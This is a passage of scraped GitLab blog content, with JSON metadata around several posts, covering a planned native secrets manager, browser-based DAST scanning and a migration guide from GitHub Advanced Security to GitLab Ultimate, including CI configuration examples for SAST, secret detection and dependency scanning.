prioritized options to use an [open source secrets manager](https://openbao.org/) with the GitLab UI. This enables us to stay true to our open core roots while minimizing our security attack surface as an extra layer of protection. \n\nGitLab plans to have the native secrets manager available in Beta release by year-end.\n\n### Aligning secrets management with GitLab Security\n\nAs we continue to iterate, the GitLab secrets manager will integrate with existing security capabilities. Our goal is to automate when possible, while still empowering the user to own security decisions by providing prompts or calls-to-action. Here are some areas we have identified for alignment: \n\n- **Secret detection.** [Detected secrets](https://gitlab.com/groups/gitlab-org/-/epics/13607) can automatically be placed in the native secrets manager. Instances of the secrets in the pipeline will be replaced automatically with the new secret key. \n\n- **Access tokens.** When access tokens are generated, [they will automatically be placed in the secrets manager](https://gitlab.com/gitlab-org/gitlab/-/issues/460606). This eliminates the need for the user to manually create a secret for each access token. This also eliminates the need to expose the value of the token at creation. A similar use case can be applied to [deploy keys](https://gitlab.com/gitlab-org/gitlab/-/issues/432522). \n\n- **Compliance.** [Advancing audit logging](https://about.gitlab.com/direction/govern/compliance/audit-events/#how-we-will-prioritize-adding-new-audit-events) within GitLab makes it easier for admins and security teams to identify access, changes, and deletion for each secret, all within the existing GitLab [audit events](https://docs.gitlab.com/ee/administration/audit_event_types.html).  \n\n- **Secured artifacts.** Enabling a [verifiable way to link job artifacts back to their source code](https://gitlab.com/groups/gitlab-org/-/epics/6207) is critical to ensuring integrity of the software supply chain. Attestations require signing and authentication to verify authenticity in the process and the secrets manager will secure these credentials within GitLab.\n\n## Share your feedback\n\nAt GitLab, we understand a single tool does not fit all. While we are building a native solution, we are also committed to continuing to support our existing third-party integrations for Hashicorp’s Vault, Azure Key Vault, and Google Secret Manager. We envision an ecosystem where multiple secret management solutions are available to customers, ensuring the best-fit solution for our customers’ use cases. \n\nInterested in joining the conversation to shape the future of GitLab’s offerings in the secrets management space? Please [leave us a comment](https://gitlab.com/gitlab-org/gitlab/-/issues/460757). You also can view our current [direction page](https://about.gitlab.com/direction/govern/pipeline_security/secrets_management/) for the latest category updates and follow our progress to building our own secrets manager in our [MVC epic](https://gitlab.com/groups/gitlab-org/-/epics/10723). \n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[14,715,479],{"slug":2075,"featured":6,"template":677},"gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost","content:en-us:blog:gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost.yml","Gitlab Native Secrets Manager To Give Software Supply Chain Security A Boost","en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost.yml","en-us/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost",{"_path":2081,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2082,"content":2088,"config":2094,"_id":2096,"_type":16,"title":2097,"_source":17,"_file":2098,"_stem":2099,"_extension":20},"/en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast",{"title":2083,"description":2084,"ogTitle":2083,"ogDescription":2084,"noIndex":6,"ogImage":2085,"ogUrl":2086,"ogSiteName":767,"ogType":768,"canonicalUrls":2086,"schema":2087},"Detect application vulnerabilities with GitLab’s browser-based DAST","Learn why you should include dynamic application security testing as part of a defense-in-depth strategy for software development, and how to migrate from proxy-based DAST.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","https://about.gitlab.com/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Detect application vulnerabilities with GitLab’s browser-based DAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"}],\n        \"datePublished\": \"2024-05-13\",\n      }",{"title":2083,"description":2084,"authors":2089,"heroImage":2085,"date":2090,"body":2091,"category":14,"tags":2092},[1950],"2024-05-13","Proxy-based dynamic application security testing was removed in GitLab 17.0 (May 16, 2024) and replaced with GitLab's proprietary [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) tool (formerly called “browser-based DAST”). DAST runs automated penetration tests to find vulnerabilities in your web applications as they are running. DAST automates a hacker’s approach, simulates real-world attacks, and can identify critical threats such as cross-site scripting, a SQL injection, and cross-site request forgery. DAST is completely language-agnostic and examines your application from the outside in. \n\nWe recommend adding [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) to your software development security alongside other foundational [application security](https://docs.gitlab.com/ee/user/application_security/) testing such as secret detection, dependency scanning, static application security testing (SAST), container scanning, and API security testing. Including DAST in this defense-in-depth approach ensures that your team can identify and mitigate the runtime vulnerabilities and misconfigurations DAST detects that other security tools cannot detect. With a running application in a test environment, DAST scans can be automated in a CI/CD pipeline, automated on a schedule, or run independently by using [on-demand scans](https://docs.gitlab.com/ee/user/application_security/dast/on-demand_scan.html). Read on to learn how to migrate to GitLab DAST, or how to get started if you aren’t already using this security feature.\n\n## Our decision to remove proxy-based DAST\n\nRemoval of support for proxy-based DAST in 17.0 was [announced in 16.6](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#proxy-based-dast-deprecated). Proxy-based DAST was introduced in GitLab 10.4 (January 2018), and its foundation was the open source Zed Attack Proxy (ZAP) project. At the time, this provided great dynamic analysis within GitLab’s DevSecOps platform. Over time, however, the architecture of apps evolved and web applications grew in complexity. [Legacy DAST crawlers](https://en.wikipedia.org/wiki/Single-page_application#Security_scanning), including proxy-based DAST, couldn’t provide sufficient coverage of modern applications so we began developing our modern, proprietary DAST solution. GitLab’s new DAST offering uses a browser to fully navigate the website like a real user while uncovering vulnerabilities. GitLab DAST runs on either arm64 or amd64 architectures, and a FIPS-compliant version is available as well. Our [Vulnerability Research](https://handbook.gitlab.com/handbook/engineering/development/sec/secure/vulnerability-research/) team wrote GitLab’s DAST detections and regularly updates our vulnerability definitions to ensure \n\n## DAST migration information\n\nIf you are using proxy-based DAST to run a scan in a CI/CD pipeline, we recommend migrating to [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) to continue dynamically scanning your web applications for vulnerabilities.  Follow the configuration recommendations outlined in the [DAST Migration Guide](https://docs.gitlab.com/ee/user/application_security/dast/proxy_based_to_browser_based_migration_guide.html) to ensure GitLab DAST scans can continue successfully.\n\nIf you would like to continue using proxy-based DAST, you can do so until GitLab 18.0 (May 2025). Bugs and vulnerabilities in this legacy analyzer will not be fixed. To continue using the non-supported proxy-based DAST, set the CI/CD variable \u003CDAST_VERSION:4> .\n\nIf you are using on-demand DAST scans, they automatically began using the newer DAST analyzer (effective from the third GitLab 17.0 breaking change window, 2024-05-06 09:00 UTC to 2024-05-08 22:00 UTC), without any required action on your part.\n\n## Migrate to GitLab DAST\n\nIf you aren’t using DAST yet, you can either run automatic DAST scans that are initiated by a merge request, or you can run manual on-demand DAST scans. \n\nTo enable automated scans, follow these simple [getting started](https://docs.gitlab.com/ee/user/application_security/dast/#getting-started) steps:\n1. Edit your `.gitlab.ci.yml` file to include the DAST template \u003CDAST.gitlab-ci.yml>\n1. Add a DAST stage to the CI/CD pipeline definition. This should be added after the deploy step.\n1. Define the URL to be scanned by DAST by using one of these methods:\nSet the \u003CDAST_TARGET_URL> variable. If set, this value takes precedence\nAdd the URL in a \u003Cenvironment_url.txt> file at your project’s root\n1. [Configure authentication](https://docs.gitlab.com/ee/user/application_security/dast/browser/configuration/authentication.html) to ensure DAST can crawl as much of your application as possible.\n\nA basic configuration for an application with a single-step login form might look like this:\n\n```\ninclude:\n  - template: DAST.gitlab-ci.yml\n\ndast:\n  variables:\n    DAST_TARGET_URL: \"https://example.com\"\n    DAST_AUTH_URL: \"https://example.com/login\"\n    DAST_AUTH_USERNAME_FIELD: \"css:[name=username]\"\n    DAST_AUTH_PASSWORD_FIELD: \"css:[name=password]\"\n    DAST_AUTH_SUBMIT_FIELD: \"css:button[type=submit]\"\n```\n\nTo run DAST scans manually outside of the DevOps lifecycle, follow these steps to [create an on-demand scan](https://docs.gitlab.com/ee/user/application_security/dast/on-demand_scan.html#create-an-on-demand-scan).\n\n## How DAST works\n\nOnce a DAST scan has been triggered, the following steps occur:\n1. Authenticate - If you have configured authentication, the analyzer will authenticate to allow maximum crawling coverage. If authentication fails, the scan halts.\n1. Discovery - The crawler discovers the surface area of the target application by performing user actions like following links, clicking buttons, and filling out forms.\n1. Passive checks - Identifies vulnerabilities in HTTP messages and pages discovered while crawling. These are enabled by default.\n1. Active checks - Identifies vulnerabilities by injecting payloads into HTTP requests recorded during the crawl phase. DAST:\n- analyzes HTTP requests for injection locations (including but not limited to query values, header values, cookie values, form posts, JSON string values, and XML entities)\n- injects attack payloads into those locations and analyzes the HTTP responses to determine attack success and report vulnerabilities\n\nActive checks are disabled by default due to the nature of their probing attacks. Scan results should be reviewed via the [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/index.html) to prioritize and remediate the detected vulnerabilities. \n\n## DAST benefits\n\nHere are some of the benefits of incorporating DAST into your software development lifecycle:\n- simulates real-world hacking on running applications (pre-production versions recommended only)\n- produces high-confidence, low false-positive findings\n- identifies 9/10 of the OWASP Top 10:2021 (dependency scanning covers the 10th)\n- detects CWEs and provides developers and security teams with remediation guidance before your code goes into production\n- does not analyze source code, so scans are not limited by programming language or framework\n- has a FIPS Compliant analyzer available, ensuring data is protected at rest and at transit according to the Federal Information Processing Standard \nsupports complex, multi-step sign-in workflows\n- utilizes a headless browser to provide excellent crawling coverage and execute all client-side scripting interactions for modern web applications, including SPAs\n\n## Get started today\n\nGitLab DAST is an essential tool to include in your comprehensive security testing program. Our latest crawler provides excellent security coverage of modern applications, whether they are stateless or stateful single-page web apps).  Use DAST in conjunction with GitLab’s other security analyzers to remain compliant with numerous standards, reduce business risk, and detect and remediate cyber threats prior to releasing them into production.\n\n> Sign up for a free 30-day trial of GitLab Ultimate to [get going with GitLab DAST](https://about.gitlab.com/free-trial/devsecops/).\n\n## Additional resources\n- [DAST Migration Guide](https://docs.gitlab.com/ee/user/application_security/dast/browser_based_4_to_5_migration_guide.html)\n- [Tips to configure browser-based DAST scans](https://about.gitlab.com/blog/tips-to-configure-browser-based-dast-scans/)\n- [Introducing browser-based DAST and integrated passive checks](https://about.gitlab.com/blog/browser-based-dast-feature-announcement/)\n- [Introducing GitLab browser-based active checks in DAST](https://about.gitlab.com/blog/dast-release-first-gitlab-active-check/)\n",[14,2093,715,695],"testing",{"slug":2095,"featured":92,"template":677},"detect-application-vulnerabilities-with-gitlabs-browser-based-dast","content:en-us:blog:detect-application-vulnerabilities-with-gitlabs-browser-based-dast.yml","Detect Application Vulnerabilities With Gitlabs Browser Based Dast","en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast.yml","en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast",{"_path":2101,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2102,"content":2108,"config":2113,"_id":2116,"_type":16,"title":2117,"_source":17,"_file":2118,"_stem":2119,"_extension":20},"/en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7",{"title":2103,"description":2104,"ogTitle":2103,"ogDescription":2104,"config":2105,"ogImage":1381,"ogUrl":2106,"ogSiteName":767,"ogType":768,"canonicalUrls":2106,"schema":2107},"GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7","Learn more about GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-05-08\",\n      }",{"title":2103,"description":2104,"authors":2109,"heroImage":1381,"date":2110,"body":2111,"category":14,"tags":2112},[1670],"2024-05-08","This is the post for [GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7](https://about.gitlab.com/releases/2024/05/08/patch-release-gitlab-16-11-2-released/).",[1292],{"slug":2114,"featured":6,"template":677,"externalUrl":2115},"gitlab-patch-release-16-11-2-16-10-5-16-9-7","https://about.gitlab.com/releases/2024/05/08/patch-release-gitlab-16-11-2-released/","content:en-us:blog:gitlab-patch-release-16-11-2-16-10-5-16-9-7.yml","Gitlab Patch Release 16 11 2 16 10 5 16 9 7","en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7.yml","en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7",{"_path":2121,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2122,"content":2127,"config":2133,"_id":2135,"_type":16,"title":2136,"_source":17,"_file":2137,"_stem":2138,"_extension":20},"/en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"title":2123,"description":2124,"ogTitle":2123,"ogDescription":2124,"noIndex":6,"ogImage":810,"ogUrl":2125,"ogSiteName":767,"ogType":768,"canonicalUrls":2125,"schema":2126},"Migration guide: GitHub Advanced Security to GitLab Ultimate","Understand the similarities and differences between GitLab Ultimate and GitHub Advanced Security. Then follow this in-depth tutorial to make the move to the GitLab DevSecOps platform.","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migration guide: GitHub Advanced Security to GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-05-01\",\n      }",{"title":2123,"description":2124,"authors":2128,"heroImage":810,"date":2129,"body":2130,"category":14,"tags":2131},[856],"2024-05-01","GitLab is the most comprehensive AI-powered DevSecOps platform, enabling organizations to deliver more secure software faster with one platform for your entire software delivery lifecycle. GitHub provides an Advanced Security add-on, which enables additional security features within GitHub. However, it lacks the depth and breadth of security features provided natively by GitLab. Organizations looking to migrate to GitLab Ultimate to enhance their security across all areas of the SDLC can use this guide to compare the two offerings and as a tutorial to move to the GitLab platform.\n\nThis article includes:\n\n- [A comparison between GitLab Ultimate and GitHub Advanced Security](#a-comparison-between-gitlab-ultimate-and-github-advanced-security)\n- [How to migrate a GitHub repository to GitLab](#how-to-migrate-a-github-repository-to-gitlab)\n- [How to migrate from GitHub Advanced Security to GitLab Ultimate feature-by-feature](#how-to-migrate-feature-by-feature)\n- [An introduction to additional GitLab Ultimate's security features](#additional-gitlab-ultimate-security-features)\n\n## A comparison between GitLab Ultimate and GitHub Advanced Security\n\n[GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) is GitLab's top subscription tier for enterprises looking to deliver secure software faster. GitHub Advanced Security is an add-on to GitHub Enterprise, which enables additional security features.\n\n### Similarities between GitLab Ultimate and GitHub Advanced Security\n\nGitLab Ultimate and GitHub Advanced Security both provide:\n- Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), secret scanning, and dependency scanning\n- contextual vulnerability intelligence and resolution advice\n- a list of dependencies or software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/))\n- security metrics and insights\n\n### Differences between GitLab Ultimate and GitHub Advanced Security\n\nGitLab Ultimate differs from GitHub Advanced Security in the following ways:\n\n- GitLab natively provides additional code scanners such as container scanning, Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), Web API fuzz testing, and more. These scanners are a mix of optimized proprietary and open source technologies with custom rulesets. For a full list, see the [GitLab AppSec documentation](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html).\n- GitLab provides [granular security guardrails](https://docs.gitlab.com/ee/user/application_security/policies/) to prevent insecure code from being merged without approval.\n- GitLab security scanners can be run in [air-gapped or limited-connectivity environments](https://docs.gitlab.com/ee/user/application_security/offline_deployments/).\n- GitLab provides the [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/), which enables oversight of compliance violations across an entire organization.\n\nGitLab Ultimate also provides additional security and compliance capabilities, portfolio and value stream management, live upgrade assistance, and more. See the [GitLab Ultimate documentation](https://about.gitlab.com/pricing/ultimate/) to learn more about these additional features.\n\n## How to migrate a GitHub repository to GitLab\n\nGitLab provides a built-in importer, which allows you to import your GitHub projects from either GitHub.com or GitHub Enterprise to GitLab. The importer allows you to migrate not only the GitHub Repository to GitLab, but several other objects, including issues, collaborators (members), and pull requests. For a complete list of what can be migrated, see the [GitHub imported data documentation](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). You can perform the migration as follows:\n1. On the left sidebar, at the top, select **Create new (+)**.\n2. Select **New project/repository** under the **In GitLab** section.\n3. Select **Import project**.\n\n![Import project selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n4. Press the **GitHub** button.\n    - If using GitLab self-managed, then you must [enable the GitHub importer](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n    - Note that other importers can be initiated in the same way.\n5. Now, you can do one of the following:\n    - Authorize with GitHub Oauth by selecting **Authorize with GitHub**.\n    - Use a GitHub personal access token:\n       - Go to [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - In the **Note** field, enter a token description.\n       - Select the **repo** scope.\n       - Optionally, to import Collaborators, select the **read:org** scope.\n       - Press the **Generate token** button.\n       - On the GitLab import page, in the Personal Access Token field, paste the GitHub personal access token.\n6. Press the **Authenticate** button.\n7. Select the items you wish to migrate.\n8. Select the projects you wish to migrate and to where.\n9. Press the **Import** button.\n\nYour imported project should now be in your workspace. For additional guidance on migrating from GitHub to GitLab, watch this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can also perform the migration using a [GitHub personal access token](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) or the [GitLab REST API](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api). The importer also allows importing from other sources such as Bitbucket or Gitea. To learn more, read the [importer documentation](https://docs.gitlab.com/ee/user/project/import/).\n\n## How to migrate feature-by-feature\n\nLet’s go over how to leverage each feature provided by GitHub Advanced Security in GitLab Ultimate. You must have a [GitLab Ultimate license](https://about.gitlab.com/pricing/ultimate/) to continue. GitLab provides a [free 30-day trial](https://about.gitlab.com/free-trial/devsecops/) to get you started.\n\n### Code scanning\nGitHub provides code scanning to provide contextual vulnerability intelligence and advice for static source code. The same can be done within GitLab by enabling [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). GitLab SAST scanners cover a wider set of programming languages and frameworks than GitHub’s [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql).\n\nTo enable code scanning in GitLab, you can simply add the [SAST template](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in, SAST will auto-detect the [programming languages](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks ) used in your project. It will then scan the source code for known vulnerabilities.\n\n**Note:** Security scanners can also be added to your project using GitLab's [security configuration](https://docs.gitlab.com/ee/user/application_security/configuration/), which can automatically create a merge request to update your pipeline. To learn more, see the [Configure SAST by using the UI documentation](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\nSAST results of the diff between the feature-branch and the target-branch display in the merge request widget. The merge request widget displays SAST results and resolutions that were introduced by the changes made in the merge request.\n\n![Security scanning in merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\nEach vulnerability displays data to assist with remediation, including detailed description, severity, location, and resolution information:\n\n![SAST vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\nYou can take action on these vulnerabilities:\n\n- **Dismiss vulnerability**: Allows a developer to dismiss the vulnerability with a comment. This assists the security team performing a review.\n- **Create issue**: Allows an issue to be created to keep track of a vulnerability that requires additional oversight.\n\nThese changes can also be seen inline when changing to the **Changes** view within the merge request.\n\n![SAST vulnerability changes view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n#### Customizing SAST scanners\n\nGitLab allows you to override a SAST job definition so you can change properties like variables, dependencies, or rules. You can do this by declaring a job with the same name as the SAST job to override. Then, place this new job after the template inclusion and specify any additional keys under it.\n\nFor example, the following configuration:\n- overwrites the version the `semgrep-sast` scanner uses\n- runs a script to fetch modules from private projects before running `gosec-sast`\n- configures all scanners to search at a maximum depth of 10\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n  variables:\n    SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n  before_script:\n    - |\n      cat \u003C\u003CEOF > ~/.netrc\n      machine gitlab.com\n      login $CI_DEPLOY_USER\n      password $CI_DEPLOY_PASSWORD\n      EOF\n```\n\n**Note:** The available SAST jobs can be found in the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Configurations can be found in the [Available SAST CI/CD variables documentation](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n#### Customizing SAST rulesets\n\nFor each SAST analyzer, GitLab processes the code then uses rules to find possible weaknesses in source code. These rules determine what types of weaknesses the scanner reports.\n\n- For Semgrep-based SAST scanners, GitLab creates, maintains, and supports the rules that are used. It combines the Semgrep open source engine, GitLab-managed detection rules, and GitLab proprietary technology for vulnerability tracking and false positive detection.\n- For other SAST analyzers, the rules are defined in the upstream projects for each scanner.\n\nYou can customize the behavior of the SAST scanners by defining a ruleset configuration file in the repository being scanned:\n- Disable predefined rules (available for all analyzers)\n- Override predefined rules (available for all analyzers)\n- Replace predefined rules by synthesizing a custom configuration using passthroughs\n\nFor more information and examples on configuring SAST rules, see the [SAST rules](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) and [Customizing rulesets documentation](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n### Secret scanning\n\nGitHub provides secret scanning, which can find, block, and revoke leaked secrets. The same can be done within GitLab by enabling [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/).\n\nTo enable Secret Detection in GitLab, you can simply add the following template to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in (or a pipeline is run), the secret scanner will scan the source code for known secrets. Pipeline Secret Detection scans different aspects of your code, depending on the situation. For all methods except the “Default branch”, Pipeline Secret Detection scans commits, not the working tree. See the [Secret detection coverage documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage) to learn more about how secret scanning works.\n\nWhen creating a merge request, Secret Detection scans every commit made on the source branch. Just like in SAST, each detected vulnerability provides the following information (such as location) and identifiers to assist with the remediation process:\n\n![Secret Detection vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\nSimilar to SAST, you can take action on these vulnerabilities straight from the merge request, including dismissing vulnerabilities, and creating issues.\n\n#### Customizing Secret Detection jobs\n\nGitLab allows you to override a Secret Detection job definition so you change properties like variables, dependencies, or rules. You can do this by declaring a job with the same name as the Secret Detection job. Then place this new job after the template inclusion and specify any additional keys under it. For example, the following configuration:\n\n- overwrites the stage the secret detection job runs on to `security`\n- enables the historic scanning\n- changes the Secrets Analyzer version to 4.5\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  stage: security\n  variables:\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n    SECRETS_ANALYZER_VERSION: \"4.5\"\n```\n\n**Note:** The available Secret Detection jobs can be found in the [SAST.gitlab-ci.yml template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Available configurations can be found in the [Available Secret Detection CI/CD variables documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n#### Customizing Secret Detection rulesets\n\nThe Secret Detection analyzer allows you to customize which secrets are reported in the GitLab UI. The following customization options can be used separately, or in combination:\n\n- disable predefined rules\n- override predefined rules\n- synthesize a custom configuration\n- specify a remote configuration file\n\nFor example, by creating the file `.gitlab/secret-detection-ruleset.toml`, in the root directory of your project, the default GitLeaks package is extended to ignore test tokens from detection:\n\n```yaml\n### extended-gitleaks-config.toml\ntitle = \"extension of gitlab's default gitleaks config\"\n\n[extend]\n### Extends default packaged path\npath = \"/gitleaks.toml\"\n\n[allowlist]\n  description = \"allow list of test tokens to ignore in detection\"\n  regexTarget = \"match\"\n  regexes = [\n    '''glpat-1234567890abcdefghij''',\n  ]\n```\n\nFor more information on overriding the predefined analyzer rules, check out the [Secret Detection documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n#### Automatic response to leaked secrets\n\nGitLab Secret Detection automatically responds when it finds certain types of leaked secrets. Automatic responses can:\n- automatically revoke the secret\n- notify the partner that issued the secret and the partner can then revoke the secret, notify its owner, or otherwise protect against abuse\n\nGitLab can also notify partners when credentials they issue are leaked in public repositories on GitLab.com. If you operate a cloud or SaaS product and you’re interested in receiving these notifications, you can implement a Partner API, which is called by the GitLab Token Revocation API.\n\nSee the [Automatic response to leaked secrets documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) to learn more.\n\n### Supply chain security\n\nGitHub enables you to secure, manage, and report on software supply chains with automated security and version updates and one-click SBOMs. GitLab can meet your supply chain security needs using the Dependency Scanning and Dependency List (SBOM) features.\n\nTo enable Dependency Scanning in GitLab, you can simply add the following template to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in, Dependency Scanning will auto-detect the [package managers](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) used in your project. It will then scan the dependencies used for known vulnerabilities.\n\nDependency Scanning results of the diff between the feature-branch and the target-branch display in the merge request widget. The merge request widget displays Dependency Scanning results and resolutions that were introduced by the changes made in the merge request. Within a merge request, each vulnerability displays relevant information to assist with remediation such as identifiers, evidence, and solutions:\n\n![Dependency Scanner vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\nSimilar to SAST and Secret Detection, you can take action on these vulnerabilities straight from the merge request, including dismissing vulnerabilities and creating issues.\n\n#### Configuring Dependency Scanning\n\nTo override a job definition (for example, to change properties like variables or dependencies), declare a new job with the same name as the one to override. Place this new job after the template inclusion and specify any additional keys under it. For example, the following code:\n\n- disables automatic remediation of vulnerable dependencies\n- requires a build job to complete before Dependency Scanning\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n  variables:\n    DS_REMEDIATE: \"false\"\n  dependencies: [\"build\"]\n```\n\nTo learn more about configuring the dependency scanners, see the [Customizing analyzer behavior documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n#### Generating an SBOM\n\nGitLab provides a Dependency List (SBOM) to review your project or group dependencies and key details about those dependencies, including their known vulnerabilities. This list is a collection of dependencies in your project, including existing and new findings. The Dependency List is generated after the dependency scanner runs successfully on the [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html). To access the Dependency List:\n\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Secure > Dependency List**.\n\n![Dependency list (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\nFrom here you can see the following information on your dependencies:\n\n| Field\t| Description |\n| ----- | ----------- |\n| Component\t| The dependency’s name and version. |\n| Packager | The packager used to install the dependency. |\n| Location | For system dependencies, this lists the image that was scanned. For application dependencies, this shows a link to the packager-specific lock file in your project that declared the dependency. It also shows the dependency path to a top-level dependency, if any, and if supported. |\n| License | Links to dependency’s software licenses. A warning badge that includes the number of vulnerabilities detected in the dependency. |\n| Projects | Links to the project with the dependency. If multiple projects have the same dependency, the total number of these projects is shown. To go to a project with this dependency, select the Project's number, then search for and select its name. The project search feature is supported only on groups that have up to 600 occurrences in their group hierarchy. |\n\n\u003Cp>\u003C/p>\n\nSee the [Dependency List documentation](https://docs.gitlab.com/ee/user/application_security/dependency_list/) to learn more.\n\n### Security and compliance administration\n\nGitHub Advanced Security allows you to view security metrics and insights and assess code security risk. Now let’s examine how to do the same with GitLab Ultimate.\n\n#### Viewing security metrics and insights\n\nGitLab provides [Security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) to help assess the security posture of your applications. These dashboards display a collection of metrics, ratings, and charts for the vulnerabilities detected by the security scanners run on your project:\n\n- vulnerability trends over a 30-, 60-, or 90-day timeframe for all 